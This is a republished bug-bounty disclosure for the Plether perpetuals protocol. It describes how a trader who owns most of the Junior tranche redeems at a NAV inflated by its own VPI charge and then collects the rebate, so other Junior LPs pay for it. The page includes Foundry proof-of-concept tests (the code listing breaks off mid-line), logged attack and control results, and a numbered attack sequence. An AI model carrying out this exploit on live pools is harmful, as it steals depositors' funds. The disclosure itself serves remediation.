Skip to content
Business logic Audit finding Advanced

Trader exits Junior at VPI-inflated NAV, then receives the same VPI rebate

A trader who owns most of a pool's Junior tranche can open a skew-increasing position whose positive virtual price impact (VPI) charge is counted into the Junior redemption price, redeem at that inflated value, then close the position and collect a lifetime-clamped VPI rebate funded from the pool. The remaining Junior holders absorb the outflow, losing value below their principal at an unchanged basket mark.

tinnohofficial Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

#98332 [SC-Critical] Trader exits Junior at VPI-inflated NAV, then receives the same VPI rebate

Submitted on Nov 7th 2026 at 04:45:42 UTC by @tinnohofficial for Audit Competition | Plether

Description

Brief/Intro

A skew-increasing position pays positive virtual price impact (VPI) into HousePool. That cash is included in the next Junior redemption price. The same position can later close for a lifetime-clamped VPI rebate, paid from the pool after the Junior redemption is funded. A trader who already owns Junior shares can take a share of its own refundable charge out as redemption cash, then collect the rebate while the remaining Junior LPs bear the outflow.

The matched single-position and deployed-release fork controls use the same trade sizes and basket prices, changing whether the close occurs just before or after Junior redemption funding. In the fork, the open receipt records +6,329.181521 USDG VPI and the attack close receipt records −6,329.181521 USDG. The ordering improves the actor's combined trader-and-LP wealth by 4,187.273867 USDG and reduces the incumbent Junior holder's value by 4,187.281478 USDG. Of the actor's branch difference, 4,183.433103 USDG comes from redemption cash and only 3.840764 USDG from the changed close-time pool cash flow. The control close VPI is −6,325.331826 USDG; the closes are near-identical, not equal.

Recommended severity: Critical (direct theft of existing Junior LP value). In the local single-position test, an unrelated holder initially supplies 1M USDG of Junior principal. Its existing share value falls 3,839.333615 USDG below its pre-cycle value at an unchanged basket mark, while the same-trades control gains 497.532333 USDG. The actor receives a funded USDG redemption and later a pool-funded rebate. If the program classifies this transferred VPI component solely as unclaimed yield, High is the alternative. Actor wealth includes wallet USDG, clearinghouse balance and Junior shares, net of protocol fees, bounty debits, confidence effects and carry; gas and capital opportunity cost are excluded.

Why this is not the documented design

The whitepaper documents immediate positive-VPI cash and later pool-funded rebates. The accounting specification makes entry and exit use symmetric NAV and excludes anticipated VPI from its price-PnL term. Yet the security specification says the lifetime clamp eliminates rebate-only round-trip extraction, and the project's regression checks that a charged-and-rebated trader pays execution fees. The clamp protects a trader position, but not ownership of that charge across the trader's Junior redemption. The PoCs measure trader plus LP wealth and an incumbent's loss below principal. Unlike the explicit policy allowing carry-collection timing transfers, no VPI document accepts this cross-role extraction.

Vulnerability Details

Root cause and execution path

  1. A skew-increasing open calculates positive VPI and adds it to the trader's cost (OpenAccountingLib.sol). The settlement sidecar transfers the LP portion to HousePool as arrived revenue (CfdEngineSettlementSidecar.sol), increasing accounted pool assets (HousePool.sol).
  2. The terminal NAV snapshot starts from physical pool assets and subtracts trader claims, then adds only the signed terminal price delta. It has no deduction for a still-refundable positive VPI charge (HousePoolAccountingLib.sol). Reconciliation sends unallocated revenue to Junior after any Senior restoration (HousePoolReconcilePlanLib.sol, HousePoolWaterfallAccountingLib.sol). LP epoch settlement reconciles before fixing the Junior pricing principal and funding redemptions (HousePool.sol, HousePool.sol). The exiting Junior holder therefore receives its portion of the charge as funded USDG.
  3. A later skew-reducing close can rebate VPI up to that position's accrued positive lifetime charge (CloseAccountingLib.sol). The planner pays available action rebate from pool cash free of protected trader claims (CfdEnginePlanLib.sol); the sidecar debits HousePool and credits the trader (CfdEngineSettlementSidecar.sol). The actor already holds the funded exit cash; the remaining Junior shares absorb the refund.

The attack requires a matured Junior redemption request, enough free pool cash to fund the exit and a later contingent rebate, a valid live-market Pyth basket, and a position that increases then reduces skew. The rebate is not an unconditional trader claim: a close must generate it, and any part unfunded by free cash is waived. The PoCs prove full payout in their states under the release's 1% VPI factor, 40% skew limit, 4 bp execution fee, 0.2% initial margin, 10 bp confidence cap, and 40M/80% Senior limits. The LP shares have passed the ordinary cooldown. Trader orders, LP requests, epoch settlement and claims use public entrypoints and a permissionless keeper. No trusted-role misbehavior or price movement is required.

Why this is a separate issue

The previously confirmed cross-role VPI report concerns a negative VPI rebate held in a protected reserve and an incoming Junior LP buying before its clawback. This report concerns positive VPI cash already in HousePool, an outgoing Junior LP, and that trader position's later rebate. The single-position and fork PoCs require no entrant between charge and rebate. A narrow fix that adds the negative reserve to entry NAV leaves this exit price and funding path intact. A broader cohort-based VPI ownership fix could address both.

The published temporary pool-liquidity close-rebate finding concerns enlarging a fresh close rebate by reducing the VPI denominator. Here the single-position matched branches' close-time pool cash changes differ by 0.010744 USDG, versus a 4,340.274211 USDG redemption-cash difference; the fork yields 3.840764 USDG versus 4,183.433103 USDG. A same-trades replacement-deposit control restores attack close depth to 10,002,274.284563 USDG, above the 10,002,000.000000 USDG open depth, yet the actor gains 2,255.194240 USDG versus a 2,085.072808 USDG control loss. The replacement LP loses 4,339.517215 USDG versus 0.000001 USDG in control. The transfer therefore survives without reducing the close denominator. The earlier pre-audit Senior yield dilution finding concerned unpaid Senior yield and was answered by a Senior accounting rewrite; this path uses Junior redemption and the trader's paid positive VPI. The hedged-pair PoC also changes depth around an opposing SHORT, so the single-position, replacement-deposit and fork controls isolate this exit-pricing path.

Impact Details

The following amounts are USDG, with six-decimal precision. “Actor” includes wallet USDG, clearinghouse balance, and any remaining Junior shares; the hedged test also includes the actor's opposite trader account. Values are changes from the same branch's starting state. Both branches use the same trade sizes, basket prices, confidence and protocol parameters.

Reproduction Actor: exit before rebate Actor: control Other Junior: exit before rebate Other Junior: control
Single position, 10 bp confidence +2,255.190659 −2,085.072808 −3,839.333615 +497.532333
Deployed Arbitrum Sepolia v2.0.0 local fork, recorded feed confidence +2,530.459163 −1,656.814704 −3,981.194948 +206.086530
Atomic equal LONG/SHORT, 0.10 bp confidence +150.756688 −5,106.516549 −4,983.834953 +269.308480

The single-position branch shift is +4,340.263467 USDG for the actor and −4,336.865948 USDG for the unrelated Junior LP. The actor receives 6,007,325.393476 USDG of funded redemption cash instead of 6,002,985.119265 USDG in the close-before-funding control. Treasury receives 1,559.610000 USDG in both branches. A second consecutive exit/re-entry cycle brings the actor's cumulative gain to 4,493.356511 USDG and the other Junior LP's cumulative loss to 7,716.491594 USDG. The actor supplies approximately 6.1M USDG of Junior and trader capital; ordinary Senior and the other Junior LP supply the rest of the approximately 10M USDG pool.

The fork pins Arbitrum Sepolia block 324032051, checks 19 deployed protocol runtime hashes, and reads six deployed feed prices and confidences before replaying them with fresh test timestamps through a local Pyth mock. The deployment manifest names source commit 1209ca8a5b94a4fb6323c7c4585846ed93db3932; the packages/perps/src tree is identical between it and audit commit a82d4fefb02768e5b3bddcc97dee371eee24fea8. The fork corroborates the audited-code local tests; its hashes verify the pinned deployment, not an independent recompilation at the audit commit. Starting liquidity is 2,000,002 USDG; public-epoch deposits bring the pool to 10,000,002 USDG. At the recorded 0.96158954 basket mark, the actor opens a 37,000-lot LONG about 30 seconds before the funding boundary and closes just after it. Junior NAV rises from 6,999,699.876883 to 7,006,050.658793 USDG after the open. The attack redeems 6,005,388.915624 USDG versus 6,001,205.482521 USDG in control. Senior's branch difference is +0.007611 USDG; treasury receives 1,423.143876 USDG in both. At 9.5 bp confidence per feed, within the release 10 bp cap, the actor still gains 1,592.415177 USDG versus a 1,889.829633 USDG control loss.

The equal 4M LONG/SHORT pair uses two actor-controlled trader accounts and one atomic keeper transaction to fill the first open, settle the redemption epoch and fill the opposing open against one neutral $1 tick. The actor supplies about 5.2M USDG: 5M Junior and two 100,000 USDG trader accounts. Both closes execute later at the same mark. The actor finishes without directional exposure and gains 150.756688 USDG after four execution fees, two open-order bounty debits and confidence effects, versus a 5,106.516549 USDG same-trades/no-exit control loss. At 0.18 bp confidence the gain remains 125.523532 USDG, before gas and capital cost. The opposing SHORT changes depth and temporarily holds negative-VPI backing, so this test corroborates a flat, pre-gas outcome; the single-position controls isolate the exit-pricing defect. The pair's final reserve and trader claims are zero, and no LP enters between its SHORT rebate and clawback.

The fork is a local simulation using recorded feed observations, not a claim that later signed updates occurred on chain. The harness mock charges no update fee; the fork mock charges 1 wei per update call. Gas and capital opportunity cost are excluded. Repetition requires ordinary Junior exit, re-entry and cooldown/epoch timing. Remaining Junior holders, or a replacement holder who enters before the rebate, bear the loss; no later accounting step reverses the transfer.

Recommendation

Track positive lifetime VPI that a close can still rebate and keep that potential refund out of Junior redemption pricing and funding until no close can generate it. An alternative is cohort accounting that allocates the positive charge and any later rebate to the same LP owners. The fix must handle partial closes, waived rebates, and changing pool depth without counting cash or trader claims twice. Add regression tests that measure one actor's trader and LP wealth across both deposit activation and redemption funding.

Proof of Concept

Reproduction

Use audit commit a82d4fefb02768e5b3bddcc97dee371eee24fea8. Save both complete files below in packages/perps/test/poc/ and run each command twice from the repository root. Set ARB_SEPOLIA_RPC_URL to a read-only Arbitrum Sepolia RPC endpoint for the fork. The fork reads block 324032051; all later trades, LP actions, Pyth replacement and time changes occur inside Foundry. Only out-of-scope Pyth and a local ArbSys block-number shim are substituted. The file checks 19 deployed protocol runtime hashes. The release manifest names source commit 1209ca8a5b94a4fb6323c7c4585846ed93db3932; its packages/perps/src tree matches the audit commit. The deployed-hash checks do not independently prove an audit-commit recompilation.

Financial values below are six-decimal USDG atoms; basket marks use eight decimals. These are selected output lines from two fresh runs of each complete file.

Local public-path tests

Shell
forge test --root packages/perps --match-path test/poc/PositiveVpiJuniorExitBeforeRebate.t.sol -vv

Run 1:

Text
[PASS] test_HedgedConfidenceSensitivity_ObservedFeedScale() (gas: 28303452)
[PASS] test_HedgedOppositeAccountsCaptureVpiAcrossJuniorExitAtConstantPrice() (gas: 28306334)
[PASS] test_exitBetweenPositiveVpiChargeAndRebate() (gas: 12710680)
[PASS] test_replacementDepositRestoresDepthAndStillTransfersValue() (gas: 14047782)
[PASS] test_twoConsecutiveCyclesRemainProfitable() (gas: 13282764)
Ran 2 test suites in 28.88ms (53.81ms CPU time): 5 tests passed, 0 failed, 0 skipped (5 total tests)

Run 2:

Text
[PASS] test_exitBetweenPositiveVpiChargeAndRebate() (gas: 12710680)
  ATTACK open pool cash increase 7599678039
  ATTACK redeemed assets 6007325393476
  ATTACK attacker delta 2255190659
  ATTACK victim delta -3839333615
  ATTACK close pool change -4089210463
  ATTACK treasury delta 1559610000
  CONTROL redeemed assets 6002985119265
  CONTROL attacker delta -2085072808
  CONTROL victim delta 497532333
  CONTROL close pool change -4089221207
  CONTROL treasury delta 1559610000
[PASS] test_replacementDepositRestoresDepthAndStillTransfersValue() (gas: 14047782)
  replacement attack open depth 10002000000000
  replacement attack close depth 10002274284563
  replacement attack attacker delta 2255194240
  replacement control attacker delta -2085072808
  replacement attack new LP delta -4339517215
  replacement control new LP delta -1
[PASS] test_twoConsecutiveCyclesRemainProfitable() (gas: 13282764)
  two-cycle attacker delta 4493356511
  two-cycle victim delta -7716491594
[PASS] test_HedgedConfidenceSensitivity_ObservedFeedScale() (gas: 28303452)
  hedged final reserve atoms 0
  hedged final claims atoms 0
  hedged final reserve atoms 0
  hedged final claims atoms 0
  hedged 0.18bp confidence control attacker atoms -5111831496
  hedged 0.18bp confidence control victim atoms 274622451
  hedged 0.18bp confidence attacker atoms 125523532
  hedged 0.18bp confidence victim atoms -4958618420
[PASS] test_HedgedOppositeAccountsCaptureVpiAcrossJuniorExitAtConstantPrice() (gas: 28306334)
  hedged final reserve atoms 0
  hedged final claims atoms 0
  hedged final reserve atoms 0
  hedged final claims atoms 0
  hedged control attacker atoms -5106516549
  hedged attack attacker atoms 150756688
  hedged control victim atoms 269308480
  hedged attack victim atoms -4983834953
  hedged control treasury atoms 4799996000
  hedged attack treasury atoms 4799996000
  hedged control keeper atoms 400000
  hedged attack keeper atoms 400000
Ran 2 test suites in 24.05ms (43.57ms CPU time): 5 tests passed, 0 failed, 0 skipped (5 total tests)

Deployed-release local fork tests

Shell
forge test --root packages/perps --match-path test/poc/PositiveVpiJuniorExitBeforeRebateFork.t.sol -vv

Run 1:

Text
[PASS] testFork_maxReleaseConfidence_exitBeforeRebateVsControl() (gas: 13666228)
[PASS] testFork_realConfidence_exitBeforeRebateVsControl() (gas: 13629501)
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.12s (42.89ms CPU time)

Run 2:

Text
[PASS] testFork_maxReleaseConfidence_exitBeforeRebateVsControl() (gas: 13666228)
  SCENARIO 9.5-bp confidence per feed
  deployed pool assets at fork 2000002000000
  deployed basket mark 96158954
  pool assets after honest LP funding 10000002000000
  positive open VPI charge 6326269303
  projected Junior NAV before open 6999699876883
  projected Junior NAV after open 7006866371575
  ATTACK close VPI -6326269303
  attack redeemed assets 6006088121624
  ATTACK attacker delta 1592415177
  ATTACK incumbent Junior delta -3042823512
  ATTACK honest Senior delta 27391910
  ATTACK close pool change -3222250218
  ATTACK treasury delta 1422816426
  control redeemed assets 6002605867883
  CONTROL attacker delta -1889829633
  CONTROL incumbent Junior delta 439428908
  CONTROL honest Senior delta 27384299
  CONTROL close pool change -3222259149
  CONTROL close VPI -6326269303
  CONTROL treasury delta 1422816426
[PASS] testFork_realConfidence_exitBeforeRebateVsControl() (gas: 13629501)
  SCENARIO real six-feed confidence
  deployed pool assets at fork 2000002000000
  deployed basket mark 96158954
  pool assets after honest LP funding 10000002000000
  positive open VPI charge 6329181521
  projected Junior NAV before open 6999699876883
  projected Junior NAV after open 7006050658793
  ATTACK close VPI -6329181521
  attack redeemed assets 6005388915624
  ATTACK attacker delta 2530459163
  ATTACK incumbent Junior delta -3981194948
  ATTACK honest Senior delta 27391910
  ATTACK close pool change -4862739872
  ATTACK treasury delta 1423143876
  control redeemed assets 6001205482521
  CONTROL attacker delta -1656814704
  CONTROL incumbent Junior delta 206086530
  CONTROL honest Senior delta 27384299
  CONTROL close pool change -4858899108
  CONTROL close VPI -6325331826
  CONTROL treasury delta 1423143876
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 698.62ms (39.81ms CPU time)

PositiveVpiJuniorExitBeforeRebate.t.sol

Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

import {BasePerpTest} from "../perps/BasePerpTest.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {TrancheVault} from "@plether/perps/TrancheVault.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {IOrderLifecycleBook} from "@plether/perps/interfaces/IOrderLifecycleBook.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";
import {SafeCast} from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import {console2} from "forge-std/console2.sol";

/// @notice Positive open VPI enters Junior NAV while a close may rebate that charge if skew reverses
///         and free pool cash is available. The potential rebate is omitted from LP NAV. A trader
///         who owns most of Junior can open before its matured redemption is funded, exit at the
///         temporarily inflated NAV, then close, making remaining Junior holders fund the rebate.
///         Senior capital supplies the position-liability reserve, so the attacker's Junior ownership
///         fraction is not bounded by the pool-wide redemption free-cash fraction.
contract PositiveVpiJuniorExitBeforeRebateSingleTraderTest is BasePerpTest {
    address internal constant SENIOR_LP = address(0x5E010004);
    address internal constant VICTIM = address(0xB0B10004);
    address internal constant ATTACKER = address(0xA77A0004);
    address internal constant KEEPER = address(0xCEE40004);
    address internal constant REPLACEMENT_LP = address(0xD00D0004);

    // Monday 2026-11-09 10:00:00 UTC, outside FAD and oracle-frozen regimes.
    uint256 internal constant T0 = 1_794_218_400;
    uint256 internal constant PRICE = 1e8;
    uint256 internal constant LOT = 1e20;
    uint256 internal constant POSITION_LOTS = 39_000; // 3.9M USDG at PRICE; below the 40% opening cap.
    uint256 internal constant POSITION_SIZE = POSITION_LOTS * LOT;
    uint256 internal constant POSITION_MARGIN = 30_000e6;

    uint256 internal constant SENIOR_ASSETS = 3_000_000e6;
    uint256 internal constant VICTIM_JUNIOR_ASSETS = 1_000_000e6;
    uint256 internal constant ATTACKER_JUNIOR_ASSETS = 6_000_000e6;

    struct Outcome {
        int256 attackerDelta;
        int256 victimDelta;
        int256 closePoolChange;
        uint256 openPoolCashIncrease;
        uint256 redeemedAssets;
        uint256 treasuryDelta;
        int256 replacementDelta;
        uint256 openDepth;
        uint256 closeDepth;
    }

    function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
        return CfdTypes.RiskParams({
            vpiFactor: 0.01e18,
            maxSkewRatio: 0.4e18,
            maintMarginBps: 10,
            initMarginBps: 20,
            fadMarginBps: 300,
            baseCarryBps: 500,
            minBountyAssets: 1e6,
            bountyBps: 10,
            keeperShareBps: 5000,
            protocolShareBps: 0
        });
    }

    function _initialJuniorDeposit() internal pure override returns (uint256) {
        return 0;
    }

    function _initialSeniorDeposit() internal pure override returns (uint256) {
        return 0;
    }

    function test_exitBetweenPositiveVpiChargeAndRebate() public {
        _configureReleaseAndFundActors();

        uint256 branch = vm.snapshotState();
        Outcome memory attack = _runCycle(true, false);
        assertTrue(vm.revertToState(branch));
        Outcome memory control = _runCycle(false, false);

        console2.log("ATTACK open pool cash increase", attack.openPoolCashIncrease);
        console2.log("ATTACK redeemed assets", attack.redeemedAssets);
        console2.log("ATTACK attacker delta", attack.attackerDelta);
        console2.log("ATTACK victim delta", attack.victimDelta);
        console2.log("ATTACK close pool change", attack.closePoolChange);
        console2.log("ATTACK treasury delta", attack.treasuryDelta);
        console2.log("CONTROL redeemed assets", control.redeemedAssets);
        console2.log("CONTROL attacker delta", control.attackerDelta);
        console2.log("CONTROL victim delta", control.victimDelta);
        console2.log("CONTROL close pool change", control.closePoolChange);
        console2.log("CONTROL treasury delta", control.treasuryDelta);

        assertGt(attack.openPoolCashIncrease, 7_000e6, "open credits a material temporary amount to LP NAV");
        assertLt(control.attackerDelta, 0, "identical Router round trip without straddling loses money");
        assertGt(attack.attackerDelta, 0, "NAV-straddling remains profitable at max release confidence");
        assertGt(
            attack.attackerDelta - control.attackerDelta,
            4_000e6,
            "moving only the close across LP funding transfers material value to the attacker"
        );
        assertLt(
            attack.victimDelta - control.victimDelta,
            -4_000e6,
            "the same ordering change transfers material value from the remaining Junior LP"
        );
        assertGt(
            attack.redeemedAssets - control.redeemedAssets,
            4_000e6,
            "the temporary VPI revenue is captured in the attacker's funded redemption"
        );
        assertApproxEqAbs(
            attack.closePoolChange,
            control.closePoolChange,
            1e6,
            "the close economics are unchanged; this is share mispricing, not rebate-depth amplification"
        );
    }

    function test_twoConsecutiveCyclesRemainProfitable() public {
        _configureReleaseAndFundActors();

        int256 attackerStart = int256(_attackerWealth());
        uint256 victimStart = juniorVault.convertToAssets(juniorVault.balanceOf(VICTIM));

        Outcome memory first = _runCycle(true, false);
        _reenterJunior();
        Outcome memory second = _runCycle(true, false);

        int256 attackerTotalDelta = int256(_attackerWealth()) - attackerStart;
        int256 victimTotalDelta = int256(juniorVault.convertToAssets(juniorVault.balanceOf(VICTIM)))
            - int256(victimStart);

        console2.log("cycle 1 attacker delta", first.attackerDelta);
        console2.log("cycle 1 victim delta", first.victimDelta);
        console2.log("cycle 2 attacker delta", second.attackerDelta);
        console2.log("cycle 2 victim delta", second.victimDelta);
        console2.log("two-cycle attacker delta", attackerTotalDelta);
        console2.log("two-cycle victim delta", victimTotalDelta);

        assertGt(first.attackerDelta, 0, "first cycle profits");
        assertGt(second.attackerDelta, 0, "second cycle profits");
        assertGt(attackerTotalDelta, 1_000e6, "two cycles produce repeatable net extraction");
        assertLt(victimTotalDelta, -4_000e6, "two cycles materially drain the incumbent Junior LP");
    }

    function test_replacementDepositRestoresDepthAndStillTransfersValue() public {
        _configureReleaseAndFundActors();
        uint256 branch = vm.snapshotState();
        Outcome memory attack = _runCycle(true, true);
        assertTrue(vm.revertToState(branch));
        Outcome memory control = _runCycle(false, true);

        console2.log("replacement attack open depth", attack.openDepth);
        console2.log("replacement attack close depth", attack.closeDepth);
        console2.log("replacement attack attacker delta", attack.attackerDelta);
        console2.log("replacement control attacker delta", control.attackerDelta);
        console2.log("replacement attack victim delta", attack.victimDelta);
        console2.log("replacement control victim delta", control.victimDelta);
        console2.log("replacement attack new LP delta", attack.replacementDelta);
        console2.log("replacement control new LP delta", control.replacementDelta);

        assertGe(attack.closeDepth, attack.openDepth, "replacement restores close depth");
        assertGt(attack.attackerDelta, 0, "attacker profits even with replacement liquidity");
        assertGt(attack.attackerDelta - control.attackerDelta, 4_000e6, "exit timing transfers value");
        assertLt(attack.victimDelta - control.victimDelta, 0, "incumbent Junior loses");
        assertLt(attack.replacementDelta - control.replacementDelta, 0, "replacement Junior funds rebate");
    }

    function _configureReleaseAndFundActors() internal {
        _setSeniorCapacity(40_000_000e6, 8000);

        IOrderRouterAdminHost.RouterConfig memory config = _routerConfig();
        config.maxExecutionWindowSeconds = 60;
        config.orderExecutionStalenessLimit = 60;
        config.liquidationStalenessLimit = 15;
        config.basketMaxConfidenceRatio

The original report as published on Immunefi, by tinnohofficial. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the Junior redemption NAV and funding are computed from physical pool assets that include a positive VPI charge which the same position can still have rebated on a later close, so the refundable amount is not excluded from redemption pricing.

Impact

The actor's combined trader and LP wealth rises while an unrelated Junior holder's value falls below its pre-cycle value at an unchanged basket mark, though the report notes the rebate is contingent on a close generating it and on free cash being available, and that classifying the transferred VPI as unclaimed yield would make it High rather than Critical.

What the attacker needed

Matured Junior redemption request; enough free pool cash for exit and rebate; valid live-market price feed; position that increases then reduces skew

The fix

Positive lifetime VPI that a close can still rebate should be tracked and kept out of Junior redemption pricing and funding until no close can generate it, or cohort accounting should allocate the charge and any later rebate to the same LP owners.

How it was found

  1. Deposit into the Junior tranche and request a redemption, waiting out the cooldown.
  2. Open a skew-increasing position so a positive VPI charge is paid into the pool and counted in Junior NAV.
  3. Let the matured redemption settle and be funded at the inflated NAV, receiving the extra cash.
  4. Close the position so the lifetime-clamped VPI rebate is paid from pool cash.
  5. Remaining Junior holders absorb the loss; repeat the exit and re-entry cycle for further gain.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A pool lets people deposit money (Junior shares) and also lets traders open leveraged positions. When a trade pushes the pool's risk in one direction, the trader pays a temporary surcharge called VPI, and that cash sits in the pool. The pool's share price for depositors briefly counts that surcharge as if it were profit. The trader, who also holds most of those shares, withdraws at the inflated price, then closes the trade and gets the surcharge refunded from the pool, so other depositors pay for it.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by tinnohofficial

View all

26 more disclosed reports, best first.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.